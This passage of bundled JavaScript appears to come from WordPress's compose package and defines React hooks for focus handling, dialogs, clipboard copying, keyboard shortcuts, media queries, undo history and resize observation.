1051 clearTimeout(id);
1052 this.timeouts = this.timeouts.filter(
1053 (timeoutId) => timeoutId !== id
1054 );
1055 }
1056 render() {
1057 return (
1058 // @ts-ignore
1059 /* @__PURE__ */ (0, import_jsx_runtime5.jsx)(
1060 OriginalComponent,
1061 {
1062 ...this.props,
1063 setTimeout: this.setTimeout,
1064 clearTimeout: this.clearTimeout
1065 }
1066 )
1067 );
1068 }
1069 };
1070 },
1071 "withSafeTimeout"
1072 );
1073 var with_safe_timeout_default = withSafeTimeout;
1074
1075 // packages/compose/build-module/higher-order/with-state/index.mjs
1076 var import_element5 = __toESM(require_element(), 1);
1077 var import_deprecated2 = __toESM(require_deprecated(), 1);
1078 var import_jsx_runtime6 = __toESM(require_jsx_runtime(), 1);
1079 function withState(initialState = {}) {
1080 (0, import_deprecated2.default)("wp.compose.withState", {
1081 since: "5.8",
1082 alternative: "wp.element.useState"
1083 });
1084 return createHigherOrderComponent((OriginalComponent) => {
1085 return class WrappedComponent extends import_element5.Component {
1086 constructor(props) {
1087 super(props);
1088 this.setState = this.setState.bind(this);
1089 this.state = initialState;
1090 }
1091 render() {
1092 return /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(
1093 OriginalComponent,
1094 {
1095 ...this.props,
1096 ...this.state,
1097 setState: this.setState
1098 }
1099 );
1100 }
1101 };
1102 }, "withState");
1103 }
1104
1105 // packages/compose/build-module/hooks/use-constrained-tabbing/index.mjs
1106 var import_dom = __toESM(require_dom(), 1);
1107
1108 // packages/compose/build-module/hooks/use-ref-effect/index.mjs
1109 var import_element6 = __toESM(require_element(), 1);
1110 function useRefEffect(callback, dependencies) {
1111 const cleanupRef = (0, import_element6.useRef)(void 0);
1112 return (0, import_element6.useCallback)((node) => {
1113 if (node) {
1114 cleanupRef.current = callback(node);
1115 } else if (cleanupRef.current) {
1116 cleanupRef.current();
1117 }
1118 }, dependencies);
1119 }
1120
1121 // packages/compose/build-module/hooks/use-constrained-tabbing/index.mjs
1122 function useConstrainedTabbing() {
1123 return useRefEffect((node) => {
1124 function onKeyDown(event) {
1125 const { key, shiftKey, target } = event;
1126 if (key !== "Tab") {
1127 return;
1128 }
1129 const action = shiftKey ? "findPrevious" : "findNext";
1130 const nextElement = import_dom.focus.tabbable[action](
1131 /** @type {HTMLElement} */
1132 target
1133 ) || null;
1134 if (
1135 /** @type {HTMLElement} */
1136 target.contains(nextElement)
1137 ) {
1138 event.preventDefault();
1139 nextElement?.focus();
1140 return;
1141 }
1142 if (node.contains(nextElement)) {
1143 return;
1144 }
1145 const domAction = shiftKey ? "append" : "prepend";
1146 const { ownerDocument } = node;
1147 const trap = ownerDocument.createElement("div");
1148 trap.tabIndex = -1;
1149 node[domAction](trap);
1150 trap.addEventListener("blur", () => node.removeChild(trap));
1151 trap.focus();
1152 }
1153 node.addEventListener("keydown", onKeyDown);
1154 return () => {
1155 node.removeEventListener("keydown", onKeyDown);
1156 };
1157 }, []);
1158 }
1159 var use_constrained_tabbing_default = useConstrainedTabbing;
1160
1161 // packages/compose/build-module/hooks/use-copy-on-click/index.mjs
1162 var import_element8 = __toESM(require_element(), 1);
1163 var import_deprecated3 = __toESM(require_deprecated(), 1);
1164
1165 // packages/compose/build-module/hooks/use-copy-to-clipboard/index.mjs
1166 var import_element7 = __toESM(require_element(), 1);
1167 async function copyToClipboard(text, trigger) {
1168 if (!trigger) {
1169 return false;
1170 }
1171 const { ownerDocument } = trigger;
1172 if (!ownerDocument) {
1173 return false;
1174 }
1175 const { defaultView } = ownerDocument;
1176 try {
1177 if (defaultView?.navigator?.clipboard?.writeText) {
1178 await defaultView.navigator.clipboard.writeText(text);
1179 return true;
1180 }
1181 const textarea = ownerDocument.createElement("textarea");
1182 textarea.value = text;
1183 textarea.setAttribute("readonly", "");
1184 textarea.style.position = "fixed";
1185 textarea.style.left = "-9999px";
1186 textarea.style.top = "-9999px";
1187 ownerDocument.body.appendChild(textarea);
1188 textarea.select();
1189 const success = ownerDocument.execCommand("copy");
1190 textarea.remove();
1191 return success;
1192 } catch {
1193 return false;
1194 }
1195 }
1196 function restoreFocus(trigger) {
1197 if ("focus" in trigger && typeof trigger.focus === "function") {
1198 trigger.focus();
1199 }
1200 }
1201 function useUpdatedRef(value) {
1202 const ref = (0, import_element7.useRef)(value);
1203 (0, import_element7.useLayoutEffect)(() => {
1204 ref.current = value;
1205 }, [value]);
1206 return ref;
1207 }
1208 function useCopyToClipboard(text, onSuccess) {
1209 const textRef = useUpdatedRef(text);
1210 const onSuccessRef = useUpdatedRef(onSuccess);
1211 return useRefEffect((node) => {
1212 let isActive = true;
1213 const handleClick = async () => {
1214 const textToCopy = typeof textRef.current === "function" ? textRef.current() : textRef.current || "";
1215 const success = await copyToClipboard(textToCopy, node);
1216 if (success) {
1217 if (isActive) {
1218 restoreFocus(node);
1219 }
1220 if (onSuccessRef.current) {
1221 onSuccessRef.current();
1222 }
1223 }
1224 };
1225 node.addEventListener("click", handleClick);
1226 return () => {
1227 isActive = false;
1228 node.removeEventListener("click", handleClick);
1229 };
1230 }, []);
1231 }
1232
1233 // packages/compose/build-module/hooks/use-copy-on-click/index.mjs
1234 function useCopyOnClick(ref, text, timeout = 4e3) {
1235 (0, import_deprecated3.default)("wp.compose.useCopyOnClick", {
1236 since: "5.8",
1237 alternative: "wp.compose.useCopyToClipboard"
1238 });
1239 const [hasCopied, setHasCopied] = (0, import_element8.useState)(false);
1240 (0, import_element8.useEffect)(() => {
1241 let isActive = true;
1242 let timeoutId;
1243 if (!ref.current) {
1244 return;
1245 }
1246 let targets;
1247 if (typeof ref.current === "string") {
1248 targets = typeof document !== "undefined" ? Array.from(document.querySelectorAll(ref.current)) : [];
1249 } else if ("length" in ref.current && typeof ref.current.length === "number") {
1250 targets = Array.from(ref.current);
1251 } else {
1252 targets = [ref.current];
1253 }
1254 if (targets.length === 0) {
1255 return;
1256 }
1257 const handleClick = async (event) => {
1258 const trigger = event.currentTarget;
1259 if (!trigger) {
1260 return;
1261 }
1262 const success = await copyToClipboard(
1263 typeof text === "function" ? text() : text || "",
1264 trigger
1265 );
1266 if (!isActive) {
1267 return;
1268 }
1269 if (success) {
1270 restoreFocus(trigger);
1271 if (timeout) {
1272 setHasCopied(true);
1273 clearTimeout(timeoutId);
1274 timeoutId = setTimeout(
1275 () => setHasCopied(false),
1276 timeout
1277 );
1278 }
1279 }
1280 };
1281 for (const target of targets) {
1282 target.addEventListener("click", handleClick);
1283 }
1284 return () => {
1285 isActive = false;
1286 for (const target of targets) {
1287 target.removeEventListener("click", handleClick);
1288 }
1289 clearTimeout(timeoutId);
1290 };
1291 }, [ref, text, timeout]);
1292 return hasCopied;
1293 }
1294
1295 // packages/compose/build-module/hooks/use-dialog/index.mjs
1296 var import_element13 = __toESM(require_element(), 1);
1297 var import_keycodes = __toESM(require_keycodes(), 1);
1298
1299 // packages/compose/build-module/hooks/use-focus-on-mount/index.mjs
1300 var import_element9 = __toESM(require_element(), 1);
1301 var import_dom2 = __toESM(require_dom(), 1);
1302 function useFocusOnMount(focusOnMount = "firstElement") {
1303 const focusOnMountRef = (0, import_element9.useRef)(focusOnMount);
1304 const setFocus = (target) => {
1305 target.focus({
1306 // When focusing newly mounted dialogs,
1307 // the position of the popover is often not right on the first render
1308 // This prevents the layout shifts when focusing the dialogs.
1309 preventScroll: true
1310 });
1311 };
1312 const timerIdRef = (0, import_element9.useRef)(void 0);
1313 (0, import_element9.useEffect)(() => {
1314 focusOnMountRef.current = focusOnMount;
1315 }, [focusOnMount]);
1316 return useRefEffect((node) => {
1317 if (!node || focusOnMountRef.current === false) {
1318 return;
1319 }
1320 if (node.contains(node.ownerDocument?.activeElement ?? null)) {
1321 return;
1322 }
1323 if (focusOnMountRef.current !== "firstElement" && focusOnMountRef.current !== "firstInputElement") {
1324 setFocus(node);
1325 return;
1326 }
1327 timerIdRef.current = setTimeout(() => {
1328 if (focusOnMountRef.current === "firstInputElement") {
1329 let formInput = null;
1330 if (typeof window !== "undefined" && node instanceof window.Element) {
1331 formInput = node.querySelector(
1332 'input:not([type="hidden"]):not([disabled]), select:not([disabled]), textarea:not([disabled])'
1333 );
1334 }
1335 if (formInput) {
1336 setFocus(formInput);
1337 return;
1338 }
1339 }
1340 const firstTabbable = import_dom2.focus.tabbable.find(node)[0];
1341 if (firstTabbable) {
1342 setFocus(firstTabbable);
1343 }
1344 }, 0);
1345 return () => {
1346 if (timerIdRef.current) {
1347 clearTimeout(timerIdRef.current);
1348 }
1349 };
1350 }, []);
1351 }
1352
1353 // packages/compose/build-module/hooks/use-focus-return/index.mjs
1354 var import_element10 = __toESM(require_element(), 1);
1355 var origin = null;
1356 function useFocusReturn(onFocusReturn) {
1357 const ref = (0, import_element10.useRef)(null);
1358 const focusedBeforeMount = (0, import_element10.useRef)(null);
1359 const onFocusReturnRef = (0, import_element10.useRef)(onFocusReturn);
1360 (0, import_element10.useEffect)(() => {
1361 onFocusReturnRef.current = onFocusReturn;
1362 }, [onFocusReturn]);
1363 return (0, import_element10.useCallback)((node) => {
1364 if (node) {
1365 ref.current = node;
1366 if (focusedBeforeMount.current) {
1367 return;
1368 }
1369 const activeDocument = node.ownerDocument.activeElement instanceof window.HTMLIFrameElement ? node.ownerDocument.activeElement.contentDocument : node.ownerDocument;
1370 focusedBeforeMount.current = activeDocument?.activeElement ?? null;
1371 } else if (focusedBeforeMount.current) {
1372 const isFocused = ref.current?.contains(
1373 ref.current?.ownerDocument.activeElement
1374 );
1375 if (ref.current?.isConnected && !isFocused) {
1376 origin ??= focusedBeforeMount.current;
1377 return;
1378 }
1379 if (onFocusReturnRef.current) {
1380 onFocusReturnRef.current();
1381 } else {
1382 (!focusedBeforeMount.current.isConnected ? origin : focusedBeforeMount.current)?.focus();
1383 }
1384 origin = null;
1385 }
1386 }, []);
1387 }
1388 var use_focus_return_default = useFocusReturn;
1389
1390 // packages/compose/build-module/hooks/use-focus-outside/index.mjs
1391 var import_element11 = __toESM(require_element(), 1);
1392 var INPUT_BUTTON_TYPES = ["button", "submit"];
1393 function isFocusNormalizedButton(eventTarget) {
1394 if (!(eventTarget instanceof window.HTMLElement)) {
1395 return false;
1396 }
1397 switch (eventTarget.nodeName) {
1398 case "A":
1399 case "BUTTON":
1400 return true;
1401 case "INPUT":
1402 return INPUT_BUTTON_TYPES.includes(
1403 eventTarget.type
1404 );
1405 }
1406 return false;
1407 }
1408 function useFocusOutside(onFocusOutside) {
1409 const currentOnFocusOutsideRef = (0, import_element11.useRef)(onFocusOutside);
1410 (0, import_element11.useEffect)(() => {
1411 currentOnFocusOutsideRef.current = onFocusOutside;
1412 }, [onFocusOutside]);
1413 const preventBlurCheckRef = (0, import_element11.useRef)(false);
1414 const blurCheckTimeoutIdRef = (0, import_element11.useRef)(void 0);
1415 const cancelBlurCheck = (0, import_element11.useCallback)(() => {
1416 clearTimeout(blurCheckTimeoutIdRef.current);
1417 }, []);
1418 (0, import_element11.useEffect)(() => {
1419 if (!onFocusOutside) {
1420 cancelBlurCheck();
1421 }
1422 }, [onFocusOutside, cancelBlurCheck]);
1423 const normalizeButtonFocus = (0, import_element11.useCallback)((event) => {
1424 const { type, target } = event;
1425 const isInteractionEnd = ["mouseup", "touchend"].includes(type);
1426 if (isInteractionEnd) {
1427 preventBlurCheckRef.current = false;
1428 } else if (isFocusNormalizedButton(target)) {
1429 preventBlurCheckRef.current = true;
1430 }
1431 }, []);
1432 const queueBlurCheck = (0, import_element11.useCallback)((event) => {
1433 event.persist();
1434 if (preventBlurCheckRef.current) {
1435 return;
1436 }
1437 const ignoreForRelatedTarget = event.target.getAttribute(
1438 "data-unstable-ignore-focus-outside-for-relatedtarget"
1439 );
1440 if (ignoreForRelatedTarget && event.relatedTarget?.closest(ignoreForRelatedTarget)) {
1441 return;
1442 }
1443 blurCheckTimeoutIdRef.current = setTimeout(() => {
1444 if (!document.hasFocus()) {
1445 event.preventDefault();
1446 return;
1447 }
1448 if ("function" === typeof currentOnFocusOutsideRef.current) {
1449 currentOnFocusOutsideRef.current(event);
1450 }
1451 }, 0);
1452 }, []);
1453 return {
1454 onFocus: cancelBlurCheck,
1455 onMouseDown: normalizeButtonFocus,
1456 onMouseUp: normalizeButtonFocus,
1457 onTouchStart: normalizeButtonFocus,
1458 onTouchEnd: normalizeButtonFocus,
1459 onBlur: queueBlurCheck
1460 };
1461 }
1462
1463 // packages/compose/build-module/hooks/use-merge-refs/index.mjs
1464 var import_element12 = __toESM(require_element(), 1);
1465 function assignRef(ref, value) {
1466 if (typeof ref === "function") {
1467 ref(value);
1468 } else if (ref && ref.hasOwnProperty("current")) {
1469 ref.current = value;
1470 }
1471 }
1472 function useMergeRefs(refs) {
1473 const element = (0, import_element12.useRef)(null);
1474 const isAttachedRef = (0, import_element12.useRef)(false);
1475 const didElementChangeRef = (0, import_element12.useRef)(false);
1476 const previousRefsRef = (0, import_element12.useRef)([]);
1477 const currentRefsRef = (0, import_element12.useRef)(refs);
1478 currentRefsRef.current = refs;
1479 (0, import_element12.useLayoutEffect)(() => {
1480 if (didElementChangeRef.current === false && isAttachedRef.current === true) {
1481 refs.forEach((ref, index) => {
1482 const previousRef = previousRefsRef.current[index];
1483 if (ref !== previousRef) {
1484 assignRef(previousRef, null);
1485 assignRef(ref, element.current);
1486 }
1487 });
1488 }
1489 previousRefsRef.current = refs;
1490 }, refs);
1491 (0, import_element12.useLayoutEffect)(() => {
1492 didElementChangeRef.current = false;
1493 });
1494 return (0, import_element12.useCallback)((value) => {
1495 assignRef(element, value);
1496 didElementChangeRef.current = true;
1497 isAttachedRef.current = value !== null;
1498 const refsToAssign = value ? currentRefsRef.current : previousRefsRef.current;
1499 for (const ref of refsToAssign) {
1500 assignRef(ref, value);
1501 }
1502 }, []);
1503 }
1504
1505 // packages/compose/build-module/hooks/use-dialog/index.mjs
1506 function useDialog(options) {
1507 const currentOptions = (0, import_element13.useRef)(void 0);
1508 const { constrainTabbing = options.focusOnMount !== false } = options;
1509 (0, import_element13.useEffect)(() => {
1510 currentOptions.current = options;
1511 }, Object.values(options));
1512 const constrainedTabbingRef = use_constrained_tabbing_default();
1513 const focusOnMountRef = useFocusOnMount(options.focusOnMount);
1514 const focusReturnRef = use_focus_return_default();
1515 const focusOutsideProps = useFocusOutside((event) => {
1516 if (currentOptions.current?.__unstableOnClose) {
1517 currentOptions.current.__unstableOnClose("focus-outside", event);
1518 } else if (currentOptions.current?.onClose) {
1519 currentOptions.current.onClose();
1520 }
1521 });
1522 const closeOnEscapeRef = (0, import_element13.useCallback)((node) => {
1523 if (!node) {
1524 return;
1525 }
1526 node.addEventListener("keydown", (event) => {
1527 if (event.keyCode === import_keycodes.ESCAPE && !event.defaultPrevented && currentOptions.current?.onClose) {
1528 event.preventDefault();
1529 currentOptions.current.onClose();
1530 }
1531 });
1532 }, []);
1533 return [
1534 useMergeRefs([
1535 constrainTabbing ? constrainedTabbingRef : null,
1536 options.focusOnMount !== false ? focusReturnRef : null,
1537 options.focusOnMount !== false ? focusOnMountRef : null,
1538 closeOnEscapeRef
1539 ]),
1540 {
1541 ...focusOutsideProps,
1542 tabIndex: -1
1543 }
1544 ];
1545 }
1546 var use_dialog_default = useDialog;
1547
1548 // packages/compose/build-module/hooks/use-disabled/index.mjs
1549 function useDisabled({
1550 isDisabled: isDisabledProp = false
1551 } = {}) {
1552 return useRefEffect(
1553 (node) => {
1554 if (isDisabledProp) {
1555 return;
1556 }
1557 const defaultView = node?.ownerDocument?.defaultView;
1558 if (!defaultView) {
1559 return;
1560 }
1561 const updates = [];
1562 const disable = () => {
1563 node.childNodes.forEach((child) => {
1564 if (!(child instanceof defaultView.HTMLElement)) {
1565 return;
1566 }
1567 if (!child.getAttribute("inert")) {
1568 child.setAttribute("inert", "true");
1569 updates.push(() => {
1570 child.removeAttribute("inert");
1571 });
1572 }
1573 });
1574 };
1575 const debouncedDisable = debounce(disable, 0, {
1576 leading: true
1577 });
1578 disable();
1579 const observer = new window.MutationObserver(debouncedDisable);
1580 observer.observe(node, {
1581 childList: true
1582 });
1583 return () => {
1584 if (observer) {
1585 observer.disconnect();
1586 }
1587 debouncedDisable.cancel();
1588 updates.forEach((update) => update());
1589 };
1590 },
1591 [isDisabledProp]
1592 );
1593 }
1594
1595 // packages/compose/build-module/hooks/use-event/index.mjs
1596 var import_element14 = __toESM(require_element(), 1);
1597 function useEvent(callback) {
1598 const ref = (0, import_element14.useRef)(() => {
1599 throw new Error(
1600 "Callbacks created with `useEvent` cannot be called during rendering."
1601 );
1602 });
1603 (0, import_element14.useInsertionEffect)(() => {
1604 ref.current = callback;
1605 });
1606 return (0, import_element14.useCallback)(
1607 (...args) => ref.current?.(...args),
1608 []
1609 );
1610 }
1611
1612 // packages/compose/build-module/hooks/use-dragging/index.mjs
1613 var import_element16 = __toESM(require_element(), 1);
1614
1615 // packages/compose/build-module/hooks/use-isomorphic-layout-effect/index.mjs
1616 var import_element15 = __toESM(require_element(), 1);
1617 var useIsomorphicLayoutEffect = typeof window !== "undefined" ? import_element15.useLayoutEffect : import_element15.useEffect;
1618 var use_isomorphic_layout_effect_default = useIsomorphicLayoutEffect;
1619
1620 // packages/compose/build-module/hooks/use-dragging/index.mjs
1621 function useDragging({ onDragStart, onDragMove, onDragEnd }) {
1622 const [isDragging, setIsDragging] = (0, import_element16.useState)(false);
1623 const eventsRef = (0, import_element16.useRef)({
1624 onDragStart,
1625 onDragMove,
1626 onDragEnd
1627 });
1628 use_isomorphic_layout_effect_default(() => {
1629 eventsRef.current.onDragStart = onDragStart;
1630 eventsRef.current.onDragMove = onDragMove;
1631 eventsRef.current.onDragEnd = onDragEnd;
1632 }, [onDragStart, onDragMove, onDragEnd]);
1633 const onMouseMove = (0, import_element16.useCallback)(
1634 (event) => eventsRef.current.onDragMove && eventsRef.current.onDragMove(event),
1635 []
1636 );
1637 const endDrag = (0, import_element16.useCallback)((event) => {
1638 if (eventsRef.current.onDragEnd) {
1639 eventsRef.current.onDragEnd(event);
1640 }
1641 document.removeEventListener("mousemove", onMouseMove);
1642 document.removeEventListener("mouseup", endDrag);
1643 setIsDragging(false);
1644 }, []);
1645 const startDrag = (0, import_element16.useCallback)((event) => {
1646 if (eventsRef.current.onDragStart) {
1647 eventsRef.current.onDragStart(event);
1648 }
1649 document.addEventListener("mousemove", onMouseMove);
1650 document.addEventListener("mouseup", endDrag);
1651 setIsDragging(true);
1652 }, []);
1653 (0, import_element16.useEffect)(() => {
1654 return () => {
1655 if (isDragging) {
1656 document.removeEventListener("mousemove", onMouseMove);
1657 document.removeEventListener("mouseup", endDrag);
1658 }
1659 };
1660 }, [isDragging]);
1661 return {
1662 startDrag,
1663 endDrag,
1664 isDragging
1665 };
1666 }
1667
1668 // packages/compose/build-module/hooks/use-keyboard-shortcut/index.mjs
1669 var import_mousetrap = __toESM(require_mousetrap(), 1);
1670
1671 // node_modules/mousetrap/plugins/global-bind/mousetrap-global-bind.js
1672 (function(Mousetrap3) {
1673 if (!Mousetrap3) {
1674 return;
1675 }
1676 var _globalCallbacks = {};
1677 var _originalStopCallback = Mousetrap3.prototype.stopCallback;
1678 Mousetrap3.prototype.stopCallback = function(e, element, combo, sequence) {
1679 var self = this;
1680 if (self.paused) {
1681 return true;
1682 }
1683 if (_globalCallbacks[combo] || _globalCallbacks[sequence]) {
1684 return false;
1685 }
1686 return _originalStopCallback.call(self, e, element, combo);
1687 };
1688 Mousetrap3.prototype.bindGlobal = function(keys, callback, action) {
1689 var self = this;
1690 self.bind(keys, callback, action);
1691 if (keys instanceof Array) {
1692 for (var i = 0; i < keys.length; i++) {
1693 _globalCallbacks[keys[i]] = true;
1694 }
1695 return;
1696 }
1697 _globalCallbacks[keys] = true;
1698 };
1699 Mousetrap3.init();
1700 })(typeof Mousetrap !== "undefined" ? Mousetrap : void 0);
1701
1702 // packages/compose/build-module/hooks/use-keyboard-shortcut/index.mjs
1703 var import_element17 = __toESM(require_element(), 1);
1704 var import_keycodes2 = __toESM(require_keycodes(), 1);
1705 function useKeyboardShortcut(shortcuts, callback, {
1706 bindGlobal = false,
1707 eventName = "keydown",
1708 isDisabled = false,
1709 // This is important for performance considerations.
1710 target
1711 } = {}) {
1712 const currentCallbackRef = (0, import_element17.useRef)(callback);
1713 (0, import_element17.useEffect)(() => {
1714 currentCallbackRef.current = callback;
1715 }, [callback]);
1716 (0, import_element17.useEffect)(() => {
1717 if (isDisabled) {
1718 return;
1719 }
1720 const mousetrap = new import_mousetrap.default(
1721 target && target.current ? target.current : (
1722 // We were passing `document` here previously, so to successfully cast it to Element we must cast it first to `unknown`.
1723 // Not sure if this is a mistake but it was the behavior previous to the addition of types so we're just doing what's
1724 // necessary to maintain the existing behavior.
1725 /** @type {Element} */
1726 /** @type {unknown} */
1727 document
1728 )
1729 );
1730 const shortcutsArray = Array.isArray(shortcuts) ? shortcuts : [shortcuts];
1731 shortcutsArray.forEach((shortcut) => {
1732 const keys = shortcut.split("+");
1733 const modifiers = new Set(
1734 keys.filter((value) => value.length > 1)
1735 );
1736 const hasAlt = modifiers.has("alt");
1737 const hasShift = modifiers.has("shift");
1738 if ((0, import_keycodes2.isAppleOS)() && (modifiers.size === 1 && hasAlt || modifiers.size === 2 && hasAlt && hasShift)) {
1739 throw new Error(
1740 `Cannot bind ${shortcut}. Alt and Shift+Alt modifiers are reserved for character input.`
1741 );
1742 }
1743 const bindFn = bindGlobal ? "bindGlobal" : "bind";
1744 mousetrap[bindFn](
1745 shortcut,
1746 (...args) => currentCallbackRef.current(...args),
1747 eventName
1748 );
1749 });
1750 return () => {
1751 mousetrap.reset();
1752 };
1753 }, [shortcuts, bindGlobal, eventName, target, isDisabled]);
1754 }
1755 var use_keyboard_shortcut_default = useKeyboardShortcut;
1756
1757 // packages/compose/build-module/hooks/use-media-query/index.mjs
1758 var import_element18 = __toESM(require_element(), 1);
1759 var perWindowCache = /* @__PURE__ */ new WeakMap();
1760 function getMediaQueryList(view, query) {
1761 if (!query) {
1762 return null;
1763 }
1764 const matchMediaCache = perWindowCache.get(view) ?? /* @__PURE__ */ new Map();
1765 if (!perWindowCache.has(view)) {
1766 perWindowCache.set(view, matchMediaCache);
1767 }
1768 let match = matchMediaCache.get(query);
1769 if (match) {
1770 return match;
1771 }
1772 if (typeof view?.matchMedia === "function") {
1773 match = view.matchMedia(query);
1774 matchMediaCache.set(query, match);
1775 return match;
1776 }
1777 return null;
1778 }
1779 function useMediaQuery(query, view = window) {
1780 const source = (0, import_element18.useMemo)(() => {
1781 const mediaQueryList = getMediaQueryList(view, query);
1782 return {
1783 subscribe(onStoreChange) {
1784 if (!mediaQueryList) {
1785 return () => {
1786 };
1787 }
1788 mediaQueryList.addEventListener?.("change", onStoreChange);
1789 return () => {
1790 mediaQueryList.removeEventListener?.(
1791 "change",
1792 onStoreChange
1793 );
1794 };
1795 },
1796 getValue() {
1797 return mediaQueryList?.matches ?? false;
1798 }
1799 };
1800 }, [view, query]);
1801 return (0, import_element18.useSyncExternalStore)(
1802 source.subscribe,
1803 source.getValue,
1804 () => false
1805 );
1806 }
1807
1808 // packages/compose/build-module/hooks/use-previous/index.mjs
1809 var import_element19 = __toESM(require_element(), 1);
1810 function usePrevious(value) {
1811 const ref = (0, import_element19.useRef)(void 0);
1812 (0, import_element19.useEffect)(() => {
1813 ref.current = value;
1814 }, [value]);
1815 return ref.current;
1816 }
1817
1818 // packages/compose/build-module/hooks/use-reduced-motion/index.mjs
1819 var useReducedMotion = () => useMediaQuery("(prefers-reduced-motion: reduce)");
1820 var use_reduced_motion_default = useReducedMotion;
1821
1822 // packages/compose/build-module/hooks/use-state-with-history/index.mjs
1823 var import_undo_manager = __toESM(require_undo_manager(), 1);
1824 var import_element20 = __toESM(require_element(), 1);
1825 function undoRedoReducer(state, action) {
1826 switch (action.type) {
1827 case "UNDO": {
1828 const undoRecord = state.manager.undo();
1829 if (undoRecord) {
1830 return {
1831 ...state,
1832 value: undoRecord[0].changes.prop.from
1833 };
1834 }
1835 return state;
1836 }
1837 case "REDO": {
1838 const redoRecord = state.manager.redo();
1839 if (redoRecord) {
1840 return {
1841 ...state,
1842 value: redoRecord[0].changes.prop.to
1843 };
1844 }
1845 return state;
1846 }
1847 case "RECORD": {
1848 state.manager.addRecord(
1849 [
1850 {
1851 id: "object",
1852 changes: {
1853 prop: { from: state.value, to: action.value }
1854 }
1855 }
1856 ],
1857 action.isStaged
1858 );
1859 return {
1860 ...state,
1861 value: action.value
1862 };
1863 }
1864 }
1865 return state;
1866 }
1867 function initReducer(value) {
1868 return {
1869 manager: (0, import_undo_manager.createUndoManager)(),
1870 value
1871 };
1872 }
1873 function useStateWithHistory(initialValue) {
1874 const [state, dispatch] = (0, import_element20.useReducer)(
1875 undoRedoReducer,
1876 initialValue,
1877 initReducer
1878 );
1879 return {
1880 value: state.value,
1881 setValue: (0, import_element20.useCallback)((newValue, isStaged) => {
1882 dispatch({
1883 type: "RECORD",
1884 value: newValue,
1885 isStaged
1886 });
1887 }, []),
1888 hasUndo: state.manager.hasUndo(),
1889 hasRedo: state.manager.hasRedo(),
1890 undo: (0, import_element20.useCallback)(() => {
1891 dispatch({ type: "UNDO" });
1892 }, []),
1893 redo: (0, import_element20.useCallback)(() => {
1894 dispatch({ type: "REDO" });
1895 }, [])
1896 };
1897 }
1898
1899 // packages/compose/build-module/hooks/use-viewport-match/index.mjs
1900 var import_element21 = __toESM(require_element(), 1);
1901 var BREAKPOINTS = {
1902 xhuge: 1920,
1903 huge: 1440,
1904 wide: 1280,
1905 xlarge: 1080,
1906 large: 960,
1907 medium: 782,
1908 small: 600,
1909 mobile: 480
1910 };
1911 var CONDITIONS = {
1912 ">=": "min-width",
1913 "<": "max-width"
1914 };
1915 var OPERATOR_EVALUATORS = {
1916 ">=": (breakpointValue, width) => width >= breakpointValue,
1917 "<": (breakpointValue, width) => width < breakpointValue
1918 };
1919 var ViewportMatchWidthContext = (0, import_element21.createContext)(
1920 /** @type {null | number} */
1921 null
1922 );
1923 ViewportMatchWidthContext.displayName = "ViewportMatchWidthContext";
1924 var useViewportMatch = (breakpoint, operator = ">=", view = window) => {
1925 const simulatedWidth = (0, import_element21.useContext)(ViewportMatchWidthContext);
1926 const mediaQuery = !simulatedWidth && `(${CONDITIONS[operator]}: ${BREAKPOINTS[breakpoint]}px)`;
1927 const mediaQueryResult = useMediaQuery(mediaQuery || void 0, view);
1928 if (simulatedWidth) {
1929 return OPERATOR_EVALUATORS[operator](
1930 BREAKPOINTS[breakpoint],
1931 simulatedWidth
1932 );
1933 }
1934 return mediaQueryResult;
1935 };
1936 useViewportMatch.__experimentalWidthProvider = ViewportMatchWidthContext.Provider;
1937 var use_viewport_match_default = useViewportMatch;
1938
1939 // packages/compose/build-module/hooks/use-resize-observer/use-resize-observer.mjs
1940 var import_element22 = __toESM(require_element(), 1);
1941 function useResizeObserver(callback, resizeObserverOptions = {}) {
1942 const callbackEvent = useEvent(callback);
1943 const observedElementRef = (0, import_element22.useRef)(null);
1944 const resizeObserverRef = (0, import_element22.useRef)(void 0);
1945 return useEvent((element) => {
1946 if (element === observedElementRef.current) {
1947 return;
1948 }
1949 resizeObserverRef.current ??= new ResizeObserver(callbackEvent);
1950 const { current: resizeObserver } = resizeObserverRef;
1951 if (observedElementRef.current) {
1952 resizeObserver.unobserve(observedElementRef.current);
1953 }
1954 observedElementRef.current = element ?? null;
1955 if (element) {
1956 resizeObserver.observe(element, resizeObserverOptions);
1957 }
1958 });
1959 }
1960
1961 // packages/compose/build-module/hooks/use-resize-observer/legacy/index.mjs
1962 var import_element23 = __toESM(require_element(), 1);
1963 var import_jsx_runtime7 = __toESM(require_jsx_runtime(), 1);
1964 var extractSize = (entry) => {
1965 let entrySize;
1966 if (!entry.contentBoxSize) {
1967 entrySize = [entry.contentRect.width, entry.contentRect.height];
1968 } else if (entry.contentBoxSize[0]) {
1969 const contentBoxSize = entry.contentBoxSize[0];
1970 entrySize = [contentBoxSize.inlineSize, contentBoxSize.blockSize];
1971 } else {
1972 const contentBoxSize = entry.contentBoxSize;
1973 entrySize = [contentBoxSize.inlineSize, contentBoxSize.blockSize];
1974 }
1975 const [width, height] = entrySize.map((d) => Math.round(d));
1976 return { width, height };
1977 };
1978 var RESIZE_ELEMENT_STYLES = {
1979 position: "absolute",
1980 top: 0,
1981 left: 0,
1982 right: 0,
1983 bottom: 0,
1984 pointerEvents: "none",
1985 opacity: 0,
1986 overflow: "hidden",
1987 zIndex: -1
1988 };
1989 function ResizeElement({ onResize }) {
1990 const resizeElementRef = useResizeObserver((entries) => {
1991 const newSize = extractSize(entries.at(-1));
1992 onResize(newSize);
1993 });
1994 return /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(
1995 "div",
1996 {
1997 ref: resizeElementRef,
1998 style: RESIZE_ELEMENT_STYLES,
1999 "aria-hidden": "true"
2000 }
2001 );
2002 }
2003 function sizeEquals(a, b) {
2004 return a.width === b.width && a.height === b.height;
2005 }
2006 var NULL_SIZE = { width: null, height: null };
2007 function useLegacyResizeObserver() {
2008 const [size, setSize] = (0, import_element23.useState)(NULL_SIZE);
2009 const previousSizeRef = (0, import_element23.useRef)(NULL_SIZE);
2010 const handleResize = (0, import_element23.useCallback)((newSize) => {
2011 if (!sizeEquals(previousSizeRef.current, newSize)) {
2012 previousSizeRef.current = newSize;
2013 setSize(newSize);
2014 }
2015 }, []);
2016 const resizeElement = /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(ResizeElement, { onResize: handleResize });
2017 return [resizeElement, size];
2018 }
2019
2020 // packages/compose/build-module/hooks/use-resize-observer/index.mjs
2021 function useResizeObserver2(callback, options = {}) {
2022 return callback ? useResizeObserver(callback, options) : useLegacyResizeObserver();
